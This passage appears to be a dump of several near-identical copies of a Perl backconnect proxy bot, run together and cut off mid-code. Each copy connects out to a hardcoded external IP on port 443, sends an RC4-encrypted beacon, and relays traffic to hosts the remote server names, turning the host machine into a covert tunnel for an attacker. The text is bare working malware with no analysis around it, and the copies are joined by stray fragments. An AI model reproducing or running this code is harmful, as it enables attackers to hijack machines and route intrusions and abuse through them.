undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.183'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.182'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.181'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.180'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += 